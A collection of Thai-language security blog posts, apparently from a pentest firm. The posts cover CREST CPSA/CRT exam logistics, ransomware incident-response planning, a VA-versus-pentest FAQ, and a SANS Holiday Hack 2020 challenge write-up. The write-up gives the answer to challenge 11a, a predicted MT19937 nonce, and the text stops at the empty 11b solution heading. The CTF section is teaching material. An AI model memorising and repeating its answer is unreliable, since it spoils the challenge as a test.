ในตอนที่อ่านก็อย่าที่จะเมินเฉยกับสิ่งเล็กน้อย เช่น พวกอักษรตัวย่อตัวนี้ ว่าชื่อเต็มมันคืออะไร หรือ หมายเลข Port TCP/UDP ที่ใช้ service อะไร ทำหน้าที่อะไรบ้าง เป็นต้น ถึงจะเป็นสิ่งที่เล็กน้อยก็ถือว่าเป็นความรู้ที่เราได้รับมา อย่ามองข้ามเรื่องที่คิดว่าเล็กน้อยในหนังสือ มันอาจจะเป็นประโยชน์อย่างมากกับเราในตอนสอบ
### สมัครสอบ
1.ในการสมัครสอบ CREST CPSA นั้นเราต้องทำการสมัครผ่านเว็บไซต์ของ :br
Pearson VUE หากยังไม่มี account ก็ให้ทำการสมัครสมาชิกก่อน :br
Link: {rel=""nofollow""}/
2. ทำตามขั้นตอนต่าง ๆ จนถึงหน้าให้เลือกสถานที่สอบและวันเวลาในการสอบ ในส่วนนี้ถ้าในประเทศไทยจะมีอยู่ด้วยกันเพียงแค่ 3 ที่เท่านั้น ถ้าในกรุงเทพจะมีทั้งหมด 2 ที่ คือ **Pearson Professional Centers-Bangkok** และ **The Enterprise Resources Training Co.Ltd.** ส่วนที่สุดท้ายจะอยู่ที่ เชียงใหม่ คือ \*\*Movaci ในช่วงเวลาสอบจะแบ่งเป็น ช่วงเช้า กับ ช่วงบ่าย แต่ละช่วงก็จะมีกำหนดเวลาไว้ เราก็เลือกตามที่เหมาะสมกับเราได้เลย
{width="100%"}
3. ชำระค่าใช้จ่ายในการสมัครสอบ ในราคา 400 USD และทาง Pearson VUE จะส่งใบ Invoice และใบที่มีข้อมูลรายละเอียดสถานที่สอบและเวลาสอบ ของเรา มาให้ทาง Email ที่ทำการสมัครสอบไว้
### วันสอบ
ควรจะไปสถานที่สอบก่อน 15 นาที ถ้าหากไปสายเกิน 15 นาที จะถูกไม่ให้สอบและถูกเก็บค่าธรรมเนียมในการสอบครั้งนั้นเลย แต่ถ้าเราไปก่อนสอบหลายนาที เช่น ถึงที่สอบก่อนเวลาสอบจริง 40 นาที ถ้าในห้องสอบมีที่ให้สอบได้ ทางศูนย์สอบก็ :br
อนุญาติให้เราเข้าสอบได้เลยโดยไม่ต้องถึงเวลาที่นัดจริง
เมื่อไปถึงสถานที่สอบ เราต้องเตรียมสิ่งของหลักไป 2 สิ่งในการไปสอบ คือ
1. บัตรที่ทางราชการออกให้ เช่น บัตรประชาชน, Passport, ใบขับขี่
2. บัตร Credit/Debit ที่มีชื่อและลายเซ็นต์ของเรา หรือ บัตรประจำตัวพนักงาน
ที่ศูนย์สอบเขาจะไม่อนุญาติให้นำ โทรศัพท์ กระเป๋าตัง อุปกรณ์ต่าง ๆ เข้าห้องสอบ โดยที่ทางศูนย์สอบจะให้เรานำสิ่งของที่นำมาเก็บเข้าตู้ Locker ที่เขาเตรียมไว้ให้ :br
สิ่งของที่เราสามารถพกติดตัวเข้าห้องสอบได้มีเพียง บัตรที่ทางราชการออกให้ เท่านั้น
### เริ่มสอบ
การสอบที่ศูนย์สอบจะมีเวลา 30 นาทีให้เราอ่านวิธีการใช้งาน Software ที่ใช้ในการสอบ จากนั้นก็จะเริ่มต้นสอบโดยระยะเวลาในการสอบ CREST CPSA นั้นจะมีระยะเวลาสอบ 120 นาที โดยข้อสอบเป็นรูปแบบ Multiple Choice ที่มี 5 ตัวเลือก ซึ่งข้อสอบจะมีทั้งหมด 120 ข้อ เกณฑ์การผ่านต้องอยู่ที่ 60 เปอร์เซ็นต์ ถ้าแปลงเป็นข้อก็ต้องทำให้ได้ 72 ข้อ ถึงจะผ่านเกณฑ์ที่กำหนดไว้
ถ้าหากยังไม่มั่นใจในคำตอบข้อนั้น เราสามารถใส่ Flag ไว้แล้วกลับมาทำทีหลังได้ ซึ่งระบบ Flag นี้ก็มีสอนใช้งาน ถ้าเราทำข้อสอบเสร็จก่อนเวลาและมั่นใจแล้ว เราสามารถทำการกดปุ่มเพื่อสิ้นสุดการสอบได้เลย จะมี Popup มาให้เรายืนยันว่าจะสิ้นสุดการสอบ พอสอบเสร็จระบบจะมีให้ทำแบบสอบถามนิดหน่อย จากนั้นที่ศูนย์สอบก็จะทำการ Print คะแนนสอบของเราออกมา
### ขั้นตอนขอ CREST CRT Certificate
หลังจากทำการสอบ CREST CPSA ผ่านแล้ว ก็เตรียมตัวที่จะขอ CREST CRT กัน เพราะการที่จะได้ CREST CRT นั้นต้องทำเรื่องขอไปก่อน ซึ่งขั้นตอนการขอนั้นมีรายละเอียดตามด้านล่างนี้เลย
1. ทำการส่งคำขอ CRT Certificate ไปที่ Email: :br
2. จากนั้นทาง CREST จะส่ง Email ตอบกลับมาโดยให้ link ให้เราทำการสมัครและกรอกข้อมูลต่าง ๆ ตามขั้นตอนในเว็บไซต์ มีให้กรอกเลข ID และวันที่ ที่ได้รับ Certificate ในส่วนนี้ถ้ามาตามเส้นทางที่ผมสอบก็ใส่ของ ECSA Practical และ CREST CPSA ได้เลย
3. ทาง CREST ก็จะทำการตรวจสอบ Certificate ที่เรากรอกข้อมูลไป จากนั้นเมื่อตรวจสอบข้อมูลผ่านก็จะมีส่ง Email ค่าใช้จ่ายในการขอ CREST CRT Certificate
4. พอชำระค่าใช้จ่ายเสร็จ ทาง CREST ก็จะตอบกลับมา ซึ่งมีรายละเอียดดังนี้ :br
วันหมดอายุของ CREST CRT Certificate อีก 3 ปี นับตามจากวันที่ได้ CREST CPSA Certificate และ ให้เรายืนยันรายละเอียดที่อยู่ของเราในการรับ Certificate ซึ่งทาง CREST จะไม่มีการส่ง Certificate แบบ Soft file มาให้เรา
---
### ค่าใช้จ่ายทั้งหมด
ค่าสอบ ECSA Practical อย่างเดียว ราคา 600 USD :br
ค่าสอบ CREST CPSA ราคา 400 USD :br
ค่าขอ CREST CRT ราคา 150 USD :br
รวมทั้งหมด 1150 USD แปลงเป็นเงินไทยก็ประมาณ 34000 กว่าบาทไม่รวม(VAT)
# Ransomware แบบ Single-stage กับ Multi-stage ต่างกันอย่างไร
องค์กรที่มีแผนรับมือ (Incident Response) กรณีการโจมตีของ Ransomware Attack ต้องเริ่มมาทบทวนแผนกันใหม่นะครับเนื่องจากรูปแบบการโจมตีของ attackers มีชั้นเชิงที่จะบีบบริษัทหรือองค์กรที่ตกเป็นเหยื่อมากยิ่งขึ้น อย่างเคสล่าสุด Garmin ก็ต้องจ่ายค่า ransom ไปน่าจะเป็นเงินจำนวนไม่น้อย (โดนเรียกค่าไถ่ไป $10M)
{width="100%"}
จากประสบการณ์ที่ผมเคยเจอมาไม่ว่าเป็น incident หรือการทำ Cyber Drill พบว่าองค์กรในประเทศไทยแบ่งเป็นกลุ่มที่ไม่มีแผนรับมือ ransomware และกลุ่มที่มีแผนรับมือ ransomware โดยกลุ่มที่มีความพร้อมนั้นจะมี policy ว่าจะไม่จ่ายค่า ransom โดยเด็ดขาด หรือมีการ implement solution ด้าน backup อยู่ค่อนข้างพร้อม ณ วันนี้อาจจะต้องพิจารณาปรับให้มีความพร้อมและ resilient มากขึ้นเนื่องจากกระบวนการและเทคโนโลยีสิ่งที่มีอยู่พร้อมที่จะจัดการกับ Single-stage หรือ classical ransomware แต่อาจจะยังไม่พร้อมที่จะรับมือ Multi-stage Ransomware ซึ่งความแตกต่างของมันคือ
Single-stage ransomware: เป็น ransomware ที่เรารู้จักกันอยู่แล้ว เน้นโจมตีและ lock file ที่เครื่อง victim และขยายผลไปยัง asset อื่น ๆ ที่ไปได้ ส่วนใหญ่ถ้าองค์กรมีการ backup ที่ดีก็น่าจะรับมือไม่ยาก และจำนวน % ของเหยื่อที่จ่ายค่า ransom ให้ attackers ก็มีไม่ได้มากนักเท่าที่ผมทราบก็คือเฉลี่ยแค่หลักหน่วยเท่านั้น
แต่
Multi-stage ransomware: เป็น ransomware ที่มาภายหลังการแทรกซึมเข้ามาในองค์กร โดย attackers มักจะอยู่ในเครือข่าย (มีแนวโน้ม dwell time ระดับเป็น weeks) และหาทางขโมยข้อมูลสำคัญ (exfiltrate) และวาง ransomware ไว้เป็นลำดับท้ายสุด เพื่อทำการ blackmail และ leverage impact ให้เกิดขึ้นในวงกว้างโดยมี จุดประสงค์หลักให้องค์กรต้องจ่ายค่า ransom แน่ ๆ
## มี Backup Operation ที่ดีแล้ว จะกลัวทำไม?
ทำไมต้องกลัว Multi-stage Ransomware ด้วย เพราะว่า attackers มีวิธีที่จะทำให้ backup operation ขององค์กรล้มเหลวไม่เป็นท่าได้ หลายวิธีเช่น
1. หาก backup ที่เครื่องที่โดน ransomware, ransomware จะลบ backup นั้น ๆ ก่อน
2. หากมี backup solution ที่เหมาะสม attackers เชื่อว่ากระบวนการ recovery ขององค์กรใช้เวลานานและอาจจะไม่ได้มีการทดสอบเป็นประจำก็ได้ ดังนั้นการกระจายก่อให้เกิดผลในวงกว้าง ย่อมทำให้องค์กรมีความสูญเสียไม่น้อย ดีไม่ดีอาจจะกู้กลับมาไม่ได้เยอะจริง ๆ ก็ได้ และการกู้กลับมา state อาจจะล้าหลังไปไกล เช่นหลายวัน หรือเป็น week ก็เป็นไปได้ ซึ่งถ้าโดนเยอะนี่ กระบวนการ recovery ก็ไม่หมู
3. Attackers สามารถเล่นงาน OS ให้ corrupt ได้ เนื่องจากการ backup หากเน้น backup ที่ data อย่างเดียวหาก OS ถูกทำให้ใช้งานไม่ได้การ recover ทั้งเครื่อง และหลายเครื่องก็ใช้เวลาไม่น้อย
4. strategy ในการเรียกค่า ransom ที่โหดขึ้น คือองค์กรจะโดน blackmail ขู่กรรโชกว่าจะปล่อยข้อมูลสำคัญขององค์กรหรือของลูกค้าบน Internet ซึ่งหลายองค์กรทั่วโลกรวมทั้งในไทยก็โดนเล่นงานเช่นกัน ซึ่งกรณีนี้องค์กรแค่โดน ransomware เป็นวงกว้างอย่างเดียวไม่พอยังถูกขโมยข้อมูลอีกด้วย
## จะรับมือ Multi-stage Ransomware อย่างไร?
มีบทความ Human-operated ransomware attacks: A preventable disaster ของ Microsoft ในหัวข้อ Improving defenses to stop human-operated ransomware เขียนไว้ดีอยู่แล้วลองไปอ่านดูได้ที่ {rel=""nofollow""}
{width="100%"}
สำหรับองค์กรที่ไม่ได้ทบทวนแผนการรับมือ Incident Response กรณี Ransomware ผมแนะนำให้พิจารณานำมาปัดฝุ่นและปรับการรับมือให้รองรับ impact ของ Multi-stage Ransomware กันด้วยนะครับ
---
## References
- Definition ของ Multi-stage Ransomware ขอใช้คำเดียวกับที่ Cybereason ใช้ ตาม {rel=""nofollow""}
- บทความ บทความ Human-operated ransomware attacks: A preventable disaster ใน part การรับมือ ถือว่าเนื้อหาดีเอามาใช้ได้ {rel=""nofollow""}
# VA Scan คืออะไร ต่างจาก Pentest อย่างไร
บทความนี้อยากทำให้ผู้อ่านได้เข้าใจถึง VA/Pentest Service ซึ่งเป็น Service หลักของ Incognito Lab โดยจะเขียนในเชิง Q\&A เพื่อที่จะได้ตอบคำถามที่พบได้บ่อยในแต่ละประเด็น
คำถามทั้งหมด
1. VA/Pentest คืออะไร
2. ทำไมองค์กรต้องทำ VA/Pentest
3. มีกฎหมายหรือข้อบังคับอะไรที่บอกให้ต้องทำ VA/Pentest
4. ความถี่ที่เหมาะสมในการทำ VA/Pentest
5. ระบบอะไรที่ควรเลือกมาทำ VA/Pentest
6. รูปแบบของการทำ VA/Pentest
7. ข้อมูลที่ควรให้เพื่อใช้ในการประเมินราคา VA/Pentest
8. ไม่มี Idea แต่ก็อยากทำ ควรเริ่มทำอะไรก่อน
9. สามารถทำ VA/Pentest เองได้หรือไม่
10. เลือก ผู้ให้บริการ หรือ ผู้เชี่ยวชาญ อย่างไรดี
11. ทำไมราคาแต่ละผู้ให้บริการแตกต่างกันมาก
## Q1: VA/Pentest คืออะไร
A: VA ย่อมาจาก Vulnerability Assessment (บางทีเรียกว่า VA Scan) คือ การ Scan หาช่องโหว่ โดยใช้เครื่องมืออัตโนมัติเป็นหลัก (Automated Tool) ปัญหาที่พบคือเรื่องของการอ่านผล Report จาก Tool เนื่องจากมีปริมาณเยอะ และถ้าไม่คุ้นเคยกับช่องโหว่อาจจะลำบากในการทำความเข้าใจ
Pentest ย่อมาจาก Penetration Testing คือ การทดสอบเจาะระบบโดยผู้เชี่ยวชาญด้าน Cybersecurity ซึ่งการทดสอบจะเป็นการผสมผสานระหว่างการใช้เครื่องมืออัตโนมัติ และ ความรู้ความสามารถของผู้ทดสอบระบบ (ภาษาชาวบ้านคือให้ (Ethical) Hacker มาทดสอบระบบ)
สรุปความต่างของทั้งสองอย่างเทียบกันตรง ๆ
| | VA Scan | Pentest |
| ------------------------ | ---------------------------------- | ----------------------------------------- |
| วิธีทดสอบ | เครื่องมืออัตโนมัติเป็นหลัก | เครื่องมือ + ความรู้ของผู้ทดสอบ |
| ความครอบคลุม | กว้าง เห็นภาพรวมทั้งระบบ | ลึก เจาะเฉพาะจุดที่สำคัญ |
| ยืนยันว่าโจมตีได้จริงไหม | ไม่ยืนยัน รายงานตามที่ Tool ตรวจพบ | ยืนยัน มีการพิสูจน์ผลกระทบ |
| ความถี่ที่มาตรฐานกำหนด | ทุกไตรมาส (PCI DSS) ถึงทุกเดือน | ปีละครั้ง หรือเมื่อระบบเปลี่ยนแปลงใหญ่ |
| ผลลัพธ์ที่ได้ | รายการช่องโหว่จาก Tool | รายงานที่จัดลำดับความเสี่ยงและแนวทางแก้ไข |
ในทางปฏิบัติสองอย่างนี้ไม่ได้แทนกัน แต่ใช้คู่กัน VA ช่วยให้เห็นว่าระบบมีอะไรผิดปกติบ้างในภาพกว้าง ส่วน Pentest ช่วยตอบว่าสิ่งที่เจอนั้นอันตรายจริงแค่ไหน อ่านรายละเอียดบริการได้ที่ [Vulnerability Assessment](https://incognitolab.com/vulnerability-assessment) และ [Penetration Test](https://incognitolab.com/penetration-test)
## Q2: ทำไมองค์กรต้องทำ VA/Pentest
A: ส่วนใหญ่คือ มีความเป็นห่วงเรื่องความปลอดภัยของระบบ หรือ ถูกข้อบังคับตามมาตรฐานต่าง ๆ บังคับให้ทำ
## Q3: มีกฎหมายหรือข้อบังคับอะไรที่บอกให้ต้องทำ VA/Pentest
A: ทั้งประกาศที่ออกโดยหน่วยงานที่มีหน้าที่กำกับดูแลในประเทศไทย และ มาตรฐานระดับสากล (ISO) มีหลายข้อกำหนดที่บอกให้ต้องทำ VA/Pentest ซึ่งการถูกบังคับใช้ก็ขึ้นอยู่กับว่าองค์กรของเรานั้นอยู่ภายใต้หน่วยงานที่กำกับหรือไม่ หรือ องค์กรของเรามีการ Comply ตาม Standard ใด
สำหรับประกาศ/ข้อบังคับในประเทศไทยโดยรวม ๆ จะไม่เข้มมาก คือ บอกกว้าง ๆ ว่าระบบอะไรที่ควรทำ ความถี่ประมาณปีละครั้ง

หนึ่งในมาตรฐานที่น่าสนใจ และ ถูกบังคับใช้อย่างแพร่หลาย คือ PCI DSS ซึ่งใช้บังคับองค์กรที่มีธุรกรรมเกี่ยวกับบัตรเครดิต Visa, Master ที่มีการ Store, Process, Transfer Cardholder data ใน PCI DSS นั้นจะบอกชัดเจนว่าทำอะไร ความถี่แค่ไหน ซึ่งจะค่อนข้างเข้ม เช่น การทำ VA Scan คือต้องทำทุกไตรมาส

## Q4: ความถี่ที่เหมาะสมในการทำ VA/Pentest
A: โดยทั่ว ๆ ไปถ้าเป็น VA มาตรฐานที่เข้มหน่อยจะบอกว่าไตรมาสละครั้ง (ปีละ 4 ครั้ง) แต่มีบางที่ที่เข้มกว่านั้นคือมีการทำ VA Scan ทุกเดือน
ในส่วนของ Pentest ข้อแนะนำคือปีละ 1 ครั้ง หรือ ทุกครั้งที่มีการเปลี่ยนแปลงใหญ่ ๆ ต่อระบบ
ทั้งนี้องค์กรควรจะต้องเข้าใจบริบทของตนเอง และทราบว่าจะต้องปฏิบัติตามข้อบังคับตามมาตรฐาน หรือ Regulator ใดบ้าง เพื่อให้ทราบถึงความถี่ขั้นต่ำที่ควรจะทำ
โดยรวม ๆ แล้วถ้าไม่ได้ถูกบังคับชัดเจน แนะนำว่าอย่างน้อย VA และ Pentest ปีละ 1 ครั้ง
## Q5: ระบบอะไรที่ควรเลือกมาทำ VA/Pentest
A: ระบบที่สำคัญในองค์กร โดยถ้าเป็นองค์กรใหญ่จะมี Criteria ในการระบุว่าระบบใดที่มีความสำคัญอยู่แล้ว แล้วนำมาจัดเป็น Application Portfolio แยกตามระดับความสำคัญ โดย Criteria ที่ใช้ เช่น ระบบนั้นเป็นระบบ Internet-Facing, ระบบมีผู้ใช้งานภายนอก (Customer, Partner), ระบบมีเรื่องของการเงินมาเกี่ยวข้อง (Financial Application), ระบบมีข้อมูลส่วนบุคคล (Privacy Data) ยิ่งระบบไหนตรงกับ Criteria ที่กำหนด ระบบนั้นก็ยิ่งมีความสำคัญสูง
## Q6: รูปแบบของการทำ VA/Pentest
A: เนื่องจากรูปแบบของการทำการทดสอบมีเยอะ ขอเริ่มจาก Keyword ที่ควรรู้ และ ตัวอย่างรูปแบบ
Keyword กลุ่มที่ 1: Location ที่ใช้ทดสอบ
- External — ทดสอบจาก Internet
- Internal — ทดสอบจากภายในองค์กร
Keyword กลุ่มที่ 2: รูปแบบของ Scenario ที่ต้องการทดสอบ
- Black-box — การทดสอบโดยไม่มีความรู้ใด ๆ เกี่ยวกับเป้าหมายเลย อาจจะทราบแค่ IP address, URL (ลูกค้าบางที่บอกว่าต้องบอกด้วยเหรอ IP address, URL ถ้าไม่บอกแล้ว Tester ไปทำการทดสอบผิดระบบ หรือ ระบบที่สำคัญแล้วเกิดปัญหาด้าน Availability มาจะเรื่องใหญ่นะครับ แต่ในกรณีที่ไม่ต้องการบอกนั้นแต่ละผู้ให้บริการก็จะมีวิธีการที่แตกต่างออกไป โดยที่ Incognito Lab จะใช้ข้อมูล Intelligence ผสมกับการทำ Reconnaissance เพื่อที่จะ list เป้าหมาย เพื่อมา Confirm กับลูกค้าก่อนเริ่มทดสอบ)
- Gray-box — การทดสอบโดยมีความรู้บางส่วนเกี่ยวกับระบบ เช่น Credential สำหรับใช้งานระบบ, เข้าใจ Flow การทำงานของระบบ
- White-box — การทดสอบโดยทราบทุกอย่างเกี่ยวกับระบบนั้น ๆ (คำว่า White-box จะค่อนข้างมีการใช้สับสน บางที่ใช้คำว่า White-box แทน Gray-box แต่สำหรับที่ Incognito Lab เราจะไม่มีการทำ Pentest แบบ White-box ถ้าในกรณีที่ทำการทดสอบแบบ White-box เราจะหมายถึงงานด้าน Secure Code Review)
Keyword กลุ่มที่ 3: เป้าหมายที่ต้องการทดสอบ
- Network/Infrastructure — เน้นทดสอบระดับ System, Network ในการประเมินราคา มักจะคำนวณจากจำนวน IP Address ที่ต้องการทำการทดสอบ
- Application — เน้นทดสอบที่ระดับ Application ซึ่งมีหลากหลายรูปแบบ เช่น Web Application, Mobile Application หรือ Client-Server Application (Application สมัยก่อนที่เป็น Thick Client) ในการประเมินราคา มักจะคำนวณจากจำนวน Application ที่ต้องการทำการทดสอบและความซับซ้อนของแต่ละ Application

## Q7: ข้อมูลที่ควรให้เพื่อใช้ในการประเมินราคา VA/Pentest
A: ถ้าแจ้งไม่ละเอียดสิ่งที่เกิดขึ้นคือการประเมินแบบ Overscope หรือ Underscope ซึ่งไม่ว่าทางไหนก็ต้องมีคนเจ็บ ดังนั้นควรให้ข้อมูลที่เพียงพอในการประเมินราคาครับ
ถ้าเป็นระดับ Infrastructure ควรให้ข้อมูลเรื่องของ Location, Scenario และ จำนวน IP address ที่ต้องการทดสอบ
ถ้าเป็นระดับ Web Application ควรให้ข้อมูลเรื่องของ Location, Scenario, จำนวน IP address, จำนวน Roles บนระบบ, รายละเอียดหน้าที่ของ Application รวมถึงข้อมูลประเภทใดที่มีความสำคัญบน Application ที่ต้องการทดสอบ
ถ้าเป็นระดับ Mobile Application ควรให้ข้อมูลเรื่องของ Location, Scenario, จำนวน IP address, จำนวน Roles บนระบบ, รายละเอียดหน้าที่ของ Application, ข้อมูลประเภทใดที่มีความสำคัญบน Application ที่ต้องการทดสอบ รวมถึง Platform ที่ต้องการทำการทดสอบ เช่น บาง Application มีแต่ iOS บางอันมี iOS, Android บางอันมี Web Backend อยู่ด้วย ข้อมูลพวกนี้ควรจะต้องแจ้งให้หมด

## Q8: ไม่มี Idea แต่ก็อยากทำ ควรเริ่มทำอะไรก่อน
A: ถ้าไม่เคยทำเลยแนะนำให้ทำตาม Scope ด้านล่างครับ
การทำ Network Pentest ทั้ง 2 แบบด้านล่างจะทำให้เห็นภาพกว้าง ให้เห็นจุดที่ต้องปรับปรุงในด้าน Infrastructure
- External Black-box Network Penetration Testing เริ่มจากลองจำลองว่าถ้าเป็น Hacker มาจาก Internet เลยจะทำอะไรกับเราได้บ้าง
- Internal Black-box Network Penetration Testing จากนั้นจำลองว่าถ้าเป็นบุคคลภายในที่เข้าถึง Network ของเราจะได้จะทำอะไรได้บ้าง
หลังจากนั้นควรเลือก Application หรือ ระบบที่มีความสำคัญสูงมาทดสอบ
- Black-box and Gray-box Application Penetration Testing
## Q9: สามารถทำ VA/Pentest เองได้หรือไม่
A: ในบางมาตรฐานมีการระบุชัดเจนว่าต้องให้ผู้เชี่ยวชาญภายนอกเป็นผู้ทำการทดสอบให้ ซึ่งผู้เชี่ยวชาญเหล่านั้นควรจะต้องมี Certificate ที่เกี่ยวข้องที่น่าเชื่อถือ
ในกรณีที่ไม่มีการระบุชัดเจน ก็สามารถทำเองได้ ซึ่งบุคคลที่มาทำควรเป็น Independent Party ที่มีความเชี่ยวชาญ
## Q10: เลือก ผู้ให้บริการ หรือ ผู้เชี่ยวชาญ อย่างไรดี
A: คำตอบสั้น ๆ คือ เลือกบริษัท/ผู้เชี่ยวชาญ ที่เรารู้สึก "Click" ด้วย
การเลือกผู้ให้บริการนั้น ควรเลือกจาก (เราตัดเรื่องราคาออกไปนะ)
- ทีม Consult/Pentester ที่มาทำงานให้เรา จุดนี้สำคัญที่สุด เพราะว่าเราจะต้องมั่นใจและแน่ใจว่าเค้าจะหาช่องโหว่และแนะนำแนวทางในการแก้ไขที่เหมาะสมได้ นอกจากนี้ในกรณีที่จะต้องไปอธิบายผู้บริหาร หรือ สื่อความกับทีมอื่น ก็ต้องแน่ใจว่าด้วยว่าจะสามารถสื่อสารได้ดี สามารถอธิบายเรื่องเทคนิคให้คนทั่วไปเข้าใจได้
- Site Reference ซึ่งเรื่องนี้ก็ยากหน่อย เพราะจะเห็นว่าแต่ละบริษัทก็มี Site Ref ของลูกค้าคล้าย ๆ กัน เพราะ ส่วนใหญ่ลูกค้าก็ลองเปลี่ยนผู้ให้บริการไปเรื่อย ๆ จนกว่าจะเจอที่ถูกใจ หรือ บางที่มีกฎว่าต้องเปลี่ยนทุก 1–2 ปี
- ขนาดของ Project ที่เคยทำ เรื่องนี้ควรจะ Concern ถ้าสิ่งที่เราทำเป็นโครงการใหญ่ ซึ่งโครงการใหญ่นั้นจำเป็นจะต้องมี Project Manager ที่สามารถควบคุมงานรวมถึงแก้ปัญหาระหว่างทางจนจบได้ แตกต่างกับโครงการเล็กที่แค่มีผู้ทดสอบระบบไม่กี่คนก็จัดการได้ เช่น ที่ Incognito Lab เคยทำงาน VA/Pentest ที่มี Sizing ประมาณ 30M เราพบว่า Challenge ในการทำงาน ไม่ใช่เรื่องการหาช่องโหว่ แต่เป็นเรื่องการบริหารจัดการ รวมถึง Consistency ของทีมงาน เช่น ทำอย่างไรถึงจะ Track Activity ของ Tester ได้, แต่ละคนทำการทดสอบไม่เหมือนกัน จะ Record Test case ที่เกิดขึ้นอย่างไร, รูปแบบของรายงานที่ส่งให้ลูกค้า รวมถึงคำอธิบาย หรือ คำบรรยายที่ใช้ในรายงาน จะทำอย่างไรให้เป็นไปในทิศทางเดียวกัน
- Quality ของ Deliverable ถ้าดูความเรียบร้อยก็ดูได้จาก Presentation, Report, การเขียนเมล มีความใส่ใจต่อคุณภาพมากน้อยแค่ไหน แต่ถ้าคุณภาพของทีมงาน ลองสัมภาษณ์ หรือ เรียกมา Present ให้ฟัง ก็จะช่วยให้สังเกต Quality ได้มากขึ้น
- Certificate ที่เกี่ยวข้อง ซึ่งจะแบ่งเป็น 2 กลุ่มคือ Certificate ในระดับองค์กร และ Certificate ในระดับบุคคล ที่ควรให้ความสำคัญมากกว่า คือ Certificate ระดับบุคคล เพราะคน ๆ นั้นจะเป็นผู้ทำการทดสอบ ส่วน Certificate ระดับองค์กรจะช่วยให้แน่ใจว่า Process โดยรวมดูน่าเชื่อถือมากขึ้น
- ส่วนอื่น ๆ เช่น การรักษาความลับของลูกค้า, Paper ที่มีการตีพิมพ์หรือนำเสนอในงาน Conference ด้าน Cybersecurity ซึ่งวัดได้ว่าเป็นทีมที่มีความเชี่ยวชาญจริง
## Q11: ทำไมราคาแต่ละผู้ให้บริการแตกต่างกันมาก
A: เรื่องนี้ต้องดูหลาย Factor ประกอบ เช่น
- ความคลาดเคลื่อนในการสื่อสารทำให้ผู้เสนอราคาประเมิน Scope ที่คล้ายกัน แต่มันไม่เท่ากัน บางอย่างเขียนแตกต่างกันนิดเดียว ราคาก็ต่างกันมาก เช่น ทดสอบแบบ Black-box และ ทดสอบแบบ Gray-box
- ความเข้าใจใน Scope เช่น ในโครงการทำการทดสอบ Network/Infrastructure Pentest ถ้าใน Target IP Address มีระบบที่เป็น Webs server ด้วย ผู้ให้บริการบางที่อาจจะบอกว่าไม่รวมใน Scope เพราะว่าเค้าทำแต่ Infrastructure เป็นต้น
- ความน่าเชื่อถือของบริษัท เหมือนเราจ้าง Financial Auditor แบบ Freelance, Local company หรือ Big4 ราคาก็แตกต่างกัน
- ความน่าเชื่อถือของผู้ทำการทดสอบ ซึ่งถึงแม้ทุกคนจะมี Certificate ที่เกี่ยวข้องกับการทำ VA/Pentest แต่แรงที่ใช้ เงินที่ใช้ลงทุนในการได้ Certificate ก็แตกต่างกัน
บทความนี้เป็นเพียงส่วนหนึ่งในการให้ความรู้ความเข้าใจในเรื่อง VA/Pentest เท่านั้น แต่ยังมีอีกหลายแง่มุมที่องค์กรต้องให้ความสำคัญและลงรายละเอียด หากต้องการคำแนะนำเพิ่มเติม Incognito Lab ยินดีให้คำปรึกษาโดยไม่คิดค่าบริการ
ดูขอบเขตและวิธีทำงานของแต่ละบริการได้ที่ [Penetration Test](https://incognitolab.com/penetration-test) และ [Vulnerability Assessment](https://incognitolab.com/vulnerability-assessment) ถ้าอยากคุยเรื่องขอบเขตของระบบตัวเองก่อน ทักมาที่[หน้าติดต่อ](https://incognitolab.com/contact)ได้เลยครับ
# SANS Holiday Hack Challenge 2020 ข้อ 11
ใครสนใจอยากลองเล่นไปเล่นได้ที่ {rel=""nofollow""} ซึ่งทาง SANS ได้เปิด Holiday Hack ประจำปีมานานแล้ว ถือได้ว่าเป็น CTF ให้ความรู้ได้ดีเลยทีเดียว โจทย์ในปีเก่า ๆ ก็ยังสามารถที่จะเข้าไปเล่นได้อยู่ตลอดเวลาครับ
ในบทความนี้ขอพูดถึงโจทย์ข้อสุดท้าย ซึ่งเป็นโจทย์ที่มีความน่าสนใจมาก ทั้งนี้เพราะโจทย์นี้เกี่ยวข้องกับ Blockchain
โจทย์ข้อนี้แบ่งเป็น 2 ข้อย่อย 11a และ 11b
## โจทย์ 11a) Naughty/Nice List with Blockchain Investigation Part 1
Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips href="{rel=""nofollow""}" rel="noopener nofollow"> tools. (Enter just the 16-character hex value of the nonce)
### เฉลย
ในโจทย์นี้จะมีข้อมูลให้ 2 ส่วน คือ เครื่องมือที่จำเป็นต้องใช้ [tools](https://download.holidayhackchallenge.com/2020/OfficialNaughtyNiceBlockchainEducationPack.zip){rel=""nofollow""} และ ข้อมูลใน blockchain [blockchain.dat](https://download.holidayhackchallenge.com/2020/blockchain.dat){rel=""nofollow""}
แก้ code ให้ loop แล้ว print value ใน blockchain.dat โดยใช้
```text
print(c2.blocks\[index\])
```

จะพบว่าในแต่ละ Block จะมีค่า Nonce ซึ่งเป็นค่า Random และ Index ของ Chain นี้จบที่ 129996 (แต่ index ใน array คือ 1547)
โดยโจทย์ถามว่า Nonce ของ Index ที่ 130000 คือค่าอะไร ซึ่งโดยปกติการ Predict ค่า random นั้นจะทำได้ยาก ในแต่กรณีนี้มี Hint ว่า ปัจจุบันใช้ MT19937 PRNG ซึ่งเราจะสามารถ Predict ค่า Nonce ได้หากเราทราบค่า Random จำนวน 624 ค่าก่อนหน้า
เราทำการ Extract ค่า Nonce ใน Block ก่อนหน้า โดยใช้ Code ด้านล่าง ซึ่ง เราทำการ Extract array index ที่ 923–1546 ซึ่งสาเหตุที่เราทำการ Extract ถึง Array index 1546 เพื่อจะได้ทราบว่าที่ Array index 1547 นั้น script ของเราสามารถทำนายได้ถูกต้องหรือไม่

เนื่องจาก Script ที่ใช้ในการ Predict value (MT19937Predictor) รับ Parameter เป็นตัวเลข จึงต้องมีการแปลงค่า Hex value จากที่เรา Extract ได้จาก Blockchain.dat เป็น int ก่อนแล้วค่อย feed เข้า MT19937Predictor

เมื่อเราทำถูกต้องเรียบร้อย จะได้ค่า Nonce ของ Block ที่ 130000 คือ 0x57066318f32f729d

## โจทย์ 11b) Naughty/Nice List with Blockchain Investigation Part 2
The SHA256 of Jack’s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you’re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you’ve recreated the original block, what is the SHA256 of that block?
### เฉลย
